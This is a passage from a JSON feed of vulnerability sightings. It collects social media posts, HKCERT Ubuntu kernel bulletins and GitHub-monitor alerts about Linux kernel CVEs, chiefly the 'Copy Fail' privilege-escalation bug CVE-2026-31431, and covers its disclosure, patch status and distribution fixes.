Linux\u30ab\u30fc\u30cd\u30eb\u306b\u304a\u3051\u308b\u30b9\u30d5\u30a3\u30a2\u9593\u306e\u4e0d\u9069\u5207\u306a\u30ea\u30bd\u30fc\u30b9\u8ee2\u9001\u306e\u8106\u5f31\u6027 \n\nwww.cisa.gov/news-events/...", "creation_timestamp": "2026-05-07T01:00:15.466984Z"}, {"uuid": "96c2d2a3-934d-41f3-96b6-9e4eb24df34c", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-31431", "type": "seen", "source": "https://bsky.app/profile/artstradamagazine.bsky.social/post/3mla3gkzpik2v", "content": "CVE-2026-31431, commonly known as Copy Fail, is a vulnerability in the Linux kernel that allows unauthorized privilege escalation,[1][2] disclosed by security firm Theori to the public on 29 April 2026 and to the Linux kernel security team five weeks prior\nen.wikipedia.org/wiki/Copy_Fail", "creation_timestamp": "2026-05-07T01:39:18.069183Z"}, {"uuid": "ff121eef-9222-45d5-8af3-36bd72b70573", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-31431", "type": "seen", "source": "https://bsky.app/profile/Ubuntu.activitypub.awakari.com.ap.brid.gy/post/3mla5x5pmkve2", "content": "Linux Kernel Vulnerability \u201cCopy Fail\u201d (CVE-2026-31431) \u2014 Immediate Action Required bb77: By now, most distributions should offer fixed kernel versions. Unfortunately, Ubuntu has not yet rele...\n\n\nOrigin | Interest | Match", "creation_timestamp": "2026-05-07T02:24:20.826807Z"}, {"uuid": "ee2947b7-19c8-45d7-8b7b-02ec866169a9", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-31431", "type": "seen", "source": "https://bsky.app/profile/pmloik.bsky.social/post/3mla6bbmmbf2m", "content": "Top 3 CVE for last 7 days:\nCVE-2026-31431: 516 interactions\nCVE-2026-41940: 123 interactions\nCVE-2025-31431: 29 interactions\n\n\nTop 3 CVE for yesterday:\nCVE-2026-0300: 19 interactions\nCVE-2026-31431: 8 interactions\nCVE-2026-23918: 5 interactions\n", "creation_timestamp": "2026-05-07T02:29:59.211406Z"}, {"uuid": "0ed56e38-c11f-4210-b109-e4068d12018e", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-31431", "type": "seen", "source": "https://bsky.app/profile/infosec.skyfleet.blue/post/3mlak2sysda2m", "content": "Re: Precise disclosure contents for copyfail (Re: [oss-security] CVE-2026-31431: CopyFail: linux local privilege scalation)", "creation_timestamp": "2026-05-07T06:01:07.477112Z"}, {"uuid": "63025287-2852-4323-b869-15a580d1e0fe", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "86ecb4e1-bb32-44d5-9f39-8a4673af8385", "vulnerability": "CVE-2026-31751", "type": "seen", "source": "https://www.hkcert.org/security-bulletin/ubuntu-linux-kernel-multiple-vulnerabilities_20260803", "content": "", "creation_timestamp": "2026-08-03T06:13:03.507843Z"}, {"uuid": "4c73b04a-e28c-4508-96e1-d3d5a3f35e55", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "86ecb4e1-bb32-44d5-9f39-8a4673af8385", "vulnerability": "CVE-2026-31752", "type": "seen", "source": "https://www.hkcert.org/security-bulletin/ubuntu-linux-kernel-multiple-vulnerabilities_20260803", "content": "", "creation_timestamp": "2026-08-03T06:13:41.357673Z"}, {"uuid": "9bc8c603-4c58-4866-9eeb-396d63241c68", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "86ecb4e1-bb32-44d5-9f39-8a4673af8385", "vulnerability": "CVE-2026-31754", "type": "seen", "source": "https://www.hkcert.org/security-bulletin/ubuntu-linux-kernel-multiple-vulnerabilities_20260803", "content": "", "creation_timestamp": "2026-08-03T06:13:43.612591Z"}, {"uuid": "94efd669-a3d5-4250-8dd3-5f9f17efdfe8", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "86ecb4e1-bb32-44d5-9f39-8a4673af8385", "vulnerability": "CVE-2026-31778", "type": "seen", "source": "https://www.hkcert.org/security-bulletin/ubuntu-linux-kernel-multiple-vulnerabilities_20260803", "content": "", "creation_timestamp": "2026-08-03T06:16:12.998477Z"}, {"uuid": "b5e4bb39-8356-4959-94ac-2947514003a4", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "86ecb4e1-bb32-44d5-9f39-8a4673af8385", "vulnerability": "CVE-2026-31523", "type": "seen", "source": "https://www.hkcert.org/security-bulletin/ubuntu-linux-kernel-multiple-vulnerabilities_20260803", "content": "", "creation_timestamp": "2026-08-03T06:17:04.707223Z"}, {"uuid": "f2ab6617-de59-4fdc-a19a-18412bb9d2ef", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "86ecb4e1-bb32-44d5-9f39-8a4673af8385", "vulnerability": "CVE-2026-31758", "type": "seen", "source": "https://www.hkcert.org/security-bulletin/ubuntu-linux-kernel-multiple-vulnerabilities_20260803", "content": "", "creation_timestamp": "2026-08-03T06:14:20.527913Z"}, {"uuid": "5f2092ca-8357-4a13-a703-45cc69f811d5", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "86ecb4e1-bb32-44d5-9f39-8a4673af8385", "vulnerability": "CVE-2026-31759", "type": "seen", "source": "https://www.hkcert.org/security-bulletin/ubuntu-linux-kernel-multiple-vulnerabilities_20260803", "content": "", "creation_timestamp": "2026-08-03T06:14:52.681715Z"}, {"uuid": "46cc25e3-c50d-4749-99ad-f6a1df448712", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "86ecb4e1-bb32-44d5-9f39-8a4673af8385", "vulnerability": "CVE-2026-31761", "type": "seen", "source": "https://www.hkcert.org/security-bulletin/ubuntu-linux-kernel-multiple-vulnerabilities_20260803", "content": "", "creation_timestamp": "2026-08-03T06:14:55.214366Z"}, {"uuid": "0d0882d3-c1a9-40e1-9114-a67d968d8554", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "86ecb4e1-bb32-44d5-9f39-8a4673af8385", "vulnerability": "CVE-2026-31762", "type": "seen", "source": "https://www.hkcert.org/security-bulletin/ubuntu-linux-kernel-multiple-vulnerabilities_20260803", "content": "", "creation_timestamp": "2026-08-03T06:14:58.464363Z"}, {"uuid": "d7ce0053-d2a2-48cc-8d71-7d83bc01a37b", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "86ecb4e1-bb32-44d5-9f39-8a4673af8385", "vulnerability": "CVE-2026-31763", "type": "seen", "source": "https://www.hkcert.org/security-bulletin/ubuntu-linux-kernel-multiple-vulnerabilities_20260803", "content": "", "creation_timestamp": "2026-08-03T06:15:00.753388Z"}, {"uuid": "ace51630-86a1-4704-bdd4-8e66c60b95b4", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "86ecb4e1-bb32-44d5-9f39-8a4673af8385", "vulnerability": "CVE-2026-31770", "type": "seen", "source": "https://www.hkcert.org/security-bulletin/ubuntu-linux-kernel-multiple-vulnerabilities_20260803", "content": "", "creation_timestamp": "2026-08-03T06:15:32.920497Z"}, {"uuid": "9565edb1-e1f1-40c2-b35d-df5dc61df7fa", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "86ecb4e1-bb32-44d5-9f39-8a4673af8385", "vulnerability": "CVE-2026-31400", "type": "seen", "source": "https://www.hkcert.org/security-bulletin/ubuntu-linux-kernel-multiple-vulnerabilities_20260803", "content": "", "creation_timestamp": "2026-08-03T06:19:29.335492Z"}, {"uuid": "8f14954e-e8f4-45a3-aa4c-dded4f01dd78", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "86ecb4e1-bb32-44d5-9f39-8a4673af8385", "vulnerability": "CVE-2026-31773", "type": "seen", "source": "https://www.hkcert.org/security-bulletin/ubuntu-linux-kernel-multiple-vulnerabilities_20260803", "content": "", "creation_timestamp": "2026-08-03T06:15:35.157063Z"}, {"uuid": "45460a20-4683-4e6c-a8e9-76d9798be039", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "86ecb4e1-bb32-44d5-9f39-8a4673af8385", "vulnerability": "CVE-2026-31781", "type": "seen", "source": "https://www.hkcert.org/security-bulletin/ubuntu-linux-kernel-multiple-vulnerabilities_20260803", "content": "", "creation_timestamp": "2026-08-03T06:16:48.751136Z"}, {"uuid": "beed2e11-d6cf-4e51-aeaa-0bb02a63d19a", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "86ecb4e1-bb32-44d5-9f39-8a4673af8385", "vulnerability": "CVE-2026-31788", "type": "seen", "source": "https://www.hkcert.org/security-bulletin/ubuntu-linux-kernel-multiple-vulnerabilities_20260803", "content": "", "creation_timestamp": "2026-08-03T06:16:51.729766Z"}, {"uuid": "2a3b76bc-48bf-4fb6-b7db-6d88929b8c95", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "86ecb4e1-bb32-44d5-9f39-8a4673af8385", "vulnerability": "CVE-2026-31555", "type": "seen", "source": "https://www.hkcert.org/security-bulletin/ubuntu-linux-kernel-multiple-vulnerabilities_20260803", "content": "", "creation_timestamp": "2026-08-03T06:18:36.153022Z"}, {"uuid": "7c62faa7-9a87-4bc5-bca9-51454af6c1a8", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-31431", "type": "seen", "source": "https://bsky.app/profile/Ubuntu.activitypub.awakari.com.ap.brid.gy/post/3mlapldvvpad2", "content": "Linux Kernel Vulnerability \u201cCopy Fail\u201d (CVE-2026-31431) \u2014 Immediate Action Required They have released midigations for all affected versions on April 30: Fixes available for CVE-2026-31431 (C...\n\n\nOrigin | Interest | Match", "creation_timestamp": "2026-05-07T07:39:55.181572Z"}, {"uuid": "489b6145-3e84-4f44-9272-d15f626d4fbd", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "86ecb4e1-bb32-44d5-9f39-8a4673af8385", "vulnerability": "CVE-2026-31522", "type": "seen", "source": "https://www.hkcert.org/security-bulletin/ubuntu-linux-kernel-multiple-vulnerabilities_20260803", "content": "", "creation_timestamp": "2026-08-03T06:17:01.458487Z"}, {"uuid": "cb123a3e-ef80-4354-8e1d-4d283f9a0861", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "86ecb4e1-bb32-44d5-9f39-8a4673af8385", "vulnerability": "CVE-2026-31577", "type": "seen", "source": "https://www.hkcert.org/security-bulletin/ubuntu-linux-kernel-multiple-vulnerabilities_20260803", "content": "", "creation_timestamp": "2026-08-03T06:18:44.849268Z"}, {"uuid": "a2446e50-aeb8-45c4-8134-bf574ab33347", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "86ecb4e1-bb32-44d5-9f39-8a4673af8385", "vulnerability": "CVE-2026-31552", "type": "seen", "source": "https://www.hkcert.org/security-bulletin/ubuntu-linux-kernel-multiple-vulnerabilities_20260803", "content": "", "creation_timestamp": "2026-08-03T06:18:33.881172Z"}, {"uuid": "c62203b6-0ca6-4b48-840d-1c2837c8bc6a", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "86ecb4e1-bb32-44d5-9f39-8a4673af8385", "vulnerability": "CVE-2026-31454", "type": "seen", "source": "https://www.hkcert.org/security-bulletin/ubuntu-linux-kernel-multiple-vulnerabilities_20260803", "content": "", "creation_timestamp": "2026-08-03T06:21:19.752254Z"}, {"uuid": "cddf4091-d7a4-4935-801b-b271941d1ce5", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-31431", "type": "seen", "source": "https://bsky.app/profile/dbt3.ch/post/3mlb64luoey26", "content": "A nine-year Linux kernel bug is being actively exploited right now. CVE-2026-31431 (Copy Fail) gives any unprivileged local user a root shell. Works every time. Leaves no trace on disk. Patch status + fixes for Proxmox, Debian, and more in the video.\n\n\u27a1\ufe0f\u27a1\ufe0f Watch Here: https://youtu.be/LwqEUiuXmbg", "creation_timestamp": "2026-05-07T12:00:02.412568Z"}, {"uuid": "65a69486-b907-4d2b-ae98-be7b27a067d8", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "86ecb4e1-bb32-44d5-9f39-8a4673af8385", "vulnerability": "CVE-2026-31597", "type": "seen", "source": "https://www.hkcert.org/security-bulletin/ubuntu-linux-kernel-multiple-vulnerabilities_20260803", "content": "", "creation_timestamp": "2026-08-03T06:22:54.672803Z"}, {"uuid": "f2c24cf4-cff9-4750-90fc-232735eb43b4", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-31402", "type": "seen", "source": "https://bsky.app/profile/o2cloud.bsky.social/post/3mlbgryvtcx2q", "content": "\ud83d\udd17 CVE : CVE-2024-41073, CVE-2024-53216, CVE-2025-37861, CVE-2025-40252, CVE-2025-68724, CVE-2025-68741, CVE-2025-71238, CVE-2026-23097, CVE-2026-23136, CVE-2026-23191, CVE-2026-23193, CVE-2026-23243, CVE-2026-23270, CVE-2026-23401, CVE-2026-31402, CVE-2026-31419, CVE-2026-31431, CVE-2026-31532", "creation_timestamp": "2026-05-07T14:35:12.499048Z"}, {"uuid": "000692a3-421a-4316-81cb-cca606d593e0", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-31419", "type": "seen", "source": "https://bsky.app/profile/o2cloud.bsky.social/post/3mlbgryvtcx2q", "content": "\ud83d\udd17 CVE : CVE-2024-41073, CVE-2024-53216, CVE-2025-37861, CVE-2025-40252, CVE-2025-68724, CVE-2025-68741, CVE-2025-71238, CVE-2026-23097, CVE-2026-23136, CVE-2026-23191, CVE-2026-23193, CVE-2026-23243, CVE-2026-23270, CVE-2026-23401, CVE-2026-31402, CVE-2026-31419, CVE-2026-31431, CVE-2026-31532", "creation_timestamp": "2026-05-07T14:35:12.712792Z"}, {"uuid": "6dac81a0-32b1-4f72-a52d-86ecdbd314d6", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-31431", "type": "seen", "source": "https://bsky.app/profile/o2cloud.bsky.social/post/3mlbgryvtcx2q", "content": "\ud83d\udd17 CVE : CVE-2024-41073, CVE-2024-53216, CVE-2025-37861, CVE-2025-40252, CVE-2025-68724, CVE-2025-68741, CVE-2025-71238, CVE-2026-23097, CVE-2026-23136, CVE-2026-23191, CVE-2026-23193, CVE-2026-23243, CVE-2026-23270, CVE-2026-23401, CVE-2026-31402, CVE-2026-31419, CVE-2026-31431, CVE-2026-31532", "creation_timestamp": "2026-05-07T14:35:12.852611Z"}, {"uuid": "19457ca3-afe8-4a59-aed5-296d6ffb13da", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-31532", "type": "seen", "source": "https://bsky.app/profile/o2cloud.bsky.social/post/3mlbgryvtcx2q", "content": "\ud83d\udd17 CVE : CVE-2024-41073, CVE-2024-53216, CVE-2025-37861, CVE-2025-40252, CVE-2025-68724, CVE-2025-68741, CVE-2025-71238, CVE-2026-23097, CVE-2026-23136, CVE-2026-23191, CVE-2026-23193, CVE-2026-23243, CVE-2026-23270, CVE-2026-23401, CVE-2026-31402, CVE-2026-31419, CVE-2026-31431, CVE-2026-31532", "creation_timestamp": "2026-05-07T14:35:12.989697Z"}, {"uuid": "ae0490b0-ad3e-45fa-9770-f907cf1a7217", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "86ecb4e1-bb32-44d5-9f39-8a4673af8385", "vulnerability": "CVE-2026-31623", "type": "seen", "source": "https://www.hkcert.org/security-bulletin/ubuntu-linux-kernel-multiple-vulnerabilities_20260803", "content": "", "creation_timestamp": "2026-08-03T06:24:29.612133Z"}, {"uuid": "37d0b597-8e9b-4017-8e74-e0d292941056", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "86ecb4e1-bb32-44d5-9f39-8a4673af8385", "vulnerability": "CVE-2026-31626", "type": "seen", "source": "https://www.hkcert.org/security-bulletin/ubuntu-linux-kernel-multiple-vulnerabilities_20260803", "content": "", "creation_timestamp": "2026-08-03T06:24:35.431246Z"}, {"uuid": "4baeceee-0088-4808-8275-37739f0ced5d", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-31431", "type": "seen", "source": "https://bsky.app/profile/rockylinux.org/post/3mlbqtqh66r2c", "content": "CopyFail (CVE-2026-31431) is serious. Patches are out now for Rocky Linux 8.10, 9.8, and 10.1. One command and a reboot gets you covered. Full details in the blog. Stay patched. \ud83d\udc27\n\nsudo dnf --refresh update 'kernel*'\n\n#RockyLinux #Linux #LinuxSecurity", "creation_timestamp": "2026-05-07T17:35:06.437734Z"}, {"uuid": "2b00a304-070c-44d8-888a-cc5f2cbf4ece", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "86ecb4e1-bb32-44d5-9f39-8a4673af8385", "vulnerability": "CVE-2026-31627", "type": "seen", "source": "https://www.hkcert.org/security-bulletin/ubuntu-linux-kernel-multiple-vulnerabilities_20260803", "content": "", "creation_timestamp": "2026-08-03T06:24:40.425355Z"}, {"uuid": "28ea2d62-3332-4291-94ae-621ffa7b617d", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-31431", "type": "seen", "source": "https://bsky.app/profile/dbt3.ch/post/3mlbsad6t4v22", "content": "ICYMI: CVE-2026-31431 (Copy Fail) gives any unprivileged local user a ROOT SHELL. Works every time. Leaves no trace on disk. Patch status + fixes for Proxmox, Debian, and more.\n\n\u27a1\ufe0f\u27a1\ufe0f Watch Here: https://youtu.be/LwqEUiuXmbg", "creation_timestamp": "2026-05-07T18:00:02.446570Z"}, {"uuid": "feba79d0-51f5-4bec-b77d-85a3b7372870", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-31431", "type": "seen", "source": "https://t.me/GithubRedTeam/83238", "content": "\ud83d\udea8 GitHub \u76d1\u63a7\u6d88\u606f\u63d0\u9192\n\n\ud83d\udea8 \u53d1\u73b0\u5173\u952e\u8bcd\uff1a #CVE-2026\n\n\ud83d\udce6 \u9879\u76ee\u540d\u79f0\uff1a Copy_Fail2-Electric_Boogaloo\n\ud83d\udc64 \u9879\u76ee\u4f5c\u8005\uff1a 0xdeadbeefnetwork\n\ud83d\udee0 \u5f00\u53d1\u8bed\u8a00\uff1a C\n\u2b50 Star\u6570\u91cf\uff1a 0  |  \ud83c\udf74 Fork\u6570\u91cf\uff1a 0\n\ud83d\udcc5 \u66f4\u65b0\u65f6\u95f4\uff1a 2026-05-07 15:41:44\n\n\ud83d\udcdd \u9879\u76ee\u63cf\u8ff0\uff1a\nCopy Fail 2 \u2014 Electric Boogaloo: unpriv LPE via xfrm ESP-in-UDP MSG_SPLICE_PAGES no-COW page-cache write (sibling of CVE-2026-31431)\n\n\ud83d\udd17 \u70b9\u51fb\u8bbf\u95ee\u9879\u76ee\u5730\u5740", "creation_timestamp": "2026-05-07T16:00:05.000000Z"}, {"uuid": "87089bda-4cd1-4400-a677-1561249cb174", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-31431", "type": "seen", "source": "https://bsky.app/profile/beitmenotyou.online/post/3mlbse46iyk2k", "content": "Cloudflare shared how it handled Copy Fail, the Linux flaw CVE-2026-31431.\n\nThe lesson: patch quickly, monitor behaviour, and use only official distro updates.\n\nWhat is your kernel update routine?\n\nblog.cloudflare.com/copy-fail-li...\n\n#Linux #Security", "creation_timestamp": "2026-05-07T18:02:13.084572Z"}, {"uuid": "531c90f7-41b1-4f73-a741-2908ce87d671", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "86ecb4e1-bb32-44d5-9f39-8a4673af8385", "vulnerability": "CVE-2026-31667", "type": "seen", "source": "https://www.hkcert.org/security-bulletin/ubuntu-linux-kernel-multiple-vulnerabilities_20260803", "content": "", "creation_timestamp": "2026-08-03T06:25:44.378385Z"}, {"uuid": "fc49eaf6-2bd3-4516-89fa-2f7605383750", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-31789", "type": "seen", "source": "https://bsky.app/profile/gcpweekly.bsky.social/post/3mlbteao43l2g", "content": "apigee-fluent-bit. This addresses the following vulnerabilities: CVE-2026-31789 CVE-2026-28387 N/A Security fixes for apigee-hybrid-cassandra", "creation_timestamp": "2026-05-07T18:20:12.388978Z"}, {"uuid": "f2f4d913-f275-42a1-bf28-36f3e1cd279a", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "86ecb4e1-bb32-44d5-9f39-8a4673af8385", "vulnerability": "CVE-2026-31672", "type": "seen", "source": "https://www.hkcert.org/security-bulletin/ubuntu-linux-kernel-multiple-vulnerabilities_20260803", "content": "", "creation_timestamp": "2026-08-03T06:26:25.824836Z"}, {"uuid": "656da601-fcce-4b7f-8915-8d77d3bdebb0", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "86ecb4e1-bb32-44d5-9f39-8a4673af8385", "vulnerability": "CVE-2026-31674", "type": "seen", "source": "https://www.hkcert.org/security-bulletin/ubuntu-linux-kernel-multiple-vulnerabilities_20260803", "content": "", "creation_timestamp": "2026-08-03T06:27:35.680403Z"}, {"uuid": "3553a9b6-0218-47bb-9356-d461e3c7edf1", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "86ecb4e1-bb32-44d5-9f39-8a4673af8385", "vulnerability": "CVE-2026-31680", "type": "seen", "source": "https://www.hkcert.org/security-bulletin/ubuntu-linux-kernel-multiple-vulnerabilities_20260803", "content": "", "creation_timestamp": "2026-08-03T06:28:53.186968Z"}, {"uuid": "c117049a-41e7-4a5f-b5aa-be304dfb5e3f", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-31431", "type": "seen", "source": "https://infosec.exchange/users/wdormann/statuses/116535252477878449", "content": "CopyFail didn't affect Debian 12, and it has been said that this was not intentional, but rather due to an imcomplete backport\nInterestingly, Debian 12 is also seemingly unaffected by Dirty Frag as well.  (But Debian 11 and 13 are affected)\nI'm curious if the Debian 12 behavior is by accident.  \ud83e\udd14", "creation_timestamp": "2026-05-07T20:47:18.552036Z"}, {"uuid": "2ca3c728-48b5-453a-9bda-41d6704cfde4", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-31431", "type": "published-proof-of-concept", "source": "https://t.me/GithubRedTeam/83256", "content": "\ud83d\udea8 GitHub \u76d1\u63a7\u6d88\u606f\u63d0\u9192\n\n\ud83d\udea8 \u53d1\u73b0\u5173\u952e\u8bcd\uff1a #CVE-2026\n\n\ud83d\udce6 \u9879\u76ee\u540d\u79f0\uff1a fix-cve-2026-3143\n\ud83d\udc64 \u9879\u76ee\u4f5c\u8005\uff1a ClimbMunchkin\n\ud83d\udee0 \u5f00\u53d1\u8bed\u8a00\uff1a None\n\u2b50 Star\u6570\u91cf\uff1a 0  |  \ud83c\udf74 Fork\u6570\u91cf\uff1a 0\n\ud83d\udcc5 \u66f4\u65b0\u65f6\u95f4\uff1a 2026-05-07 19:58:27\n\n\ud83d\udcdd \u9879\u76ee\u63cf\u8ff0\uff1a\n\u0414\u0438\u0430\u0433\u043d\u043e\u0441\u0442\u0438\u043a\u0430 \u0438 \u0438\u0441\u043f\u0440\u0430\u0432\u043b\u0435\u043d\u0438\u0435 \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u0438 CVE-2026-31431 (copy fail)\n\n\ud83d\udd17 \u70b9\u51fb\u8bbf\u95ee\u9879\u76ee\u5730\u5740", "creation_timestamp": "2026-05-07T20:00:04.000000Z"}, {"uuid": "36c77f40-221e-4276-b0df-86785594e059", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-3143", "type": "published-proof-of-concept", "source": "https://t.me/GithubRedTeam/83256", "content": "\ud83d\udea8 GitHub \u76d1\u63a7\u6d88\u606f\u63d0\u9192\n\n\ud83d\udea8 \u53d1\u73b0\u5173\u952e\u8bcd\uff1a #CVE-2026\n\n\ud83d\udce6 \u9879\u76ee\u540d\u79f0\uff1a fix-cve-2026-3143\n\ud83d\udc64 \u9879\u76ee\u4f5c\u8005\uff1a ClimbMunchkin\n\ud83d\udee0 \u5f00\u53d1\u8bed\u8a00\uff1a None\n\u2b50 Star\u6570\u91cf\uff1a 0  |  \ud83c\udf74 Fork\u6570\u91cf\uff1a 0\n\ud83d\udcc5 \u66f4\u65b0\u65f6\u95f4\uff1a 2026-05-07 19:58:27\n\n\ud83d\udcdd \u9879\u76ee\u63cf\u8ff0\uff1a\n\u0414\u0438\u0430\u0433\u043d\u043e\u0441\u0442\u0438\u043a\u0430 \u0438 \u0438\u0441\u043f\u0440\u0430\u0432\u043b\u0435\u043d\u0438\u0435 \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u0438 CVE-2026-31431 (copy fail)\n\n\ud83d\udd17 \u70b9\u51fb\u8bbf\u95ee\u9879\u76ee\u5730\u5740", "creation_timestamp": "2026-05-07T20:00:04.000000Z"}, {"uuid": "7a6291b6-aac1-430b-8236-544a70b5f3d2", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-31431", "type": "seen", "source": "https://bsky.app/profile/getpokemon7.bsky.social/post/3mlc64agrvk2k", "content": "\u30b3\u30d4\u30fc\u5931\u6557: \u65b0\u3057\u3044LINUX\u30d0\u30b0\u304c\u30da\u30fc\u30b8\u30ad\u30e3\u30c3\u30b7\u30e5\u306e\u7834\u640d\u306b\u3088\u308aROOT\u3092\u6709\u52b9\u306b\u3057\u307e\u3059\n\nXint Code \u306e\u7814\u7a76\u8005\u306f\u3001\u91cd\u5927\u306a Linux \u306e\u6b20\u9665\u304c CVE-2026-31431\uff08CVSS \u30b9\u30b3\u30a2 7.8\uff09\u3068\u3057\u3066\u8ffd\u8de1\u3055\u308c\u3001Copy Fail \u3068\u547c\u3070\u308c\u3066\u3044\u308b\u3053\u3068\u3092\u8b66\u544a\u3057\u3066\u3044\u307e\u3059\u3002\u30ed\u30fc\u30ab\u30eb\u3067\u7279\u6a29\u306e\u306a\u3044\u30e6\u30fc\u30b6\u30fc\u304c\u3001\u4efb\u610f\u306e\u53ef\u8aad\u53ef\u80fd\u30d5\u30a1\u30a4\u30eb\u306e\u30da\u30fc\u30b8\u30ad\u30e3\u30c3\u30b7\u30e5\u306b4\u3064\u306e\u5236\u5fa1\u3055\u308c\u305f\u30d0\u30a4\u30c8\u3092\u66f8\u304d\u8fbc\u3080\u3053\u3068\u3092\u53ef\u80fd\u306b\u3057\u3001\u4e3b\u8981\u306a\u914d\u5e03\u7269\u3067\u30eb\u30fc\u30c8\u3078\u306e\u30a8\u30b9\u30ab\u30ec\u30fc\u30b7\u30e7\u30f3\u3092\u53ef\u80fd\u306b\u3057\u307e\u3059\u3002\n\n\u3053\u306e\u30d0\u30b0\u306f\u3001AF_ALG \u3068 splice() \u3092\u7d44\u307f\u5408\u308f\u305b\u3066\u3001\u4efb\u610f\u306e\u8aad\u307f\u53d6\u308a\u53ef\u80fd\u306a\u30d5\u30a1\u30a4\u30eb\u306e\u30da\u30fc\u30b8\u30ad\u30e3\u30c3\u30b7\u30e5\u306b 4 \u30d0\u30a4\u30c8\u3092\u66f8\u304d\u8fbc\u2026", "creation_timestamp": "2026-05-07T21:32:32.454614Z"}, {"uuid": "79c60e31-f0b3-414a-9055-860d59be1fc5", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-31431", "type": "seen", "source": 